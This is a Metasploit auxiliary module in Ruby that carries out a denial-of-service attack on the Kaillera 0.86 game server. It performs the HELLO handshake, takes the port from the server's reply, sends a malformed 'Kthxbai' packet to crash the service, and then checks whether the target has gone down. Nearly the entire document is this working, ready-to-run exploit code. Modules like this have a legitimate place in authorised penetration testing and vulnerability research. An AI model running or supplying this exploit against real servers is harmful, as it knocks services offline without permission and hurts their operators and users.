```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kaillera 0.86 Server Denial of Service',
        'Description' => %q{
          The Kaillera 0.86 server can be shut down by sending any malformed packet
          after the initial "hello" packet.
        },
        'Author' => ['Sil3nt_Dre4m'],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2011-07-02',
        'References' => [
          [ 'CVE', '2011-10020' ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options([
      Opt::RPORT(27888)
    ])
  end

  def run
    # Send HELLO to target
    connect_udp
    print_status('Sending Crash request...')
    udp_sock.put("HELLO0.83\0")
    res = udp_sock.recvfrom(15)
    disconnect_udp

    if res[0] =~ /HELLOD00D([0-9]{1,5})/
      port = ::Regexp.last_match(1)
    else
      print_error('Connection failed')
      return
    end

    # Send DOS packet
    connect_udp(true, 'RPORT' => port)
    print_status("Sending DoS packet to #{rhost}:#{port}...")
    udp_sock.put('Kthxbai')
    disconnect_udp

    # Check is target is down
    connect_udp
    print_status('Checking target...')
    udp_sock.put("HELLO0.83\0")
    res = udp_sock.recvfrom(15)
    disconnect_udp
```

```
      if res[0] =~ /HELLO/
        print_error('DoS attempt failed.  It appears target is still up.')
      else
        print_good('Target is down')
      end
    end
  end
```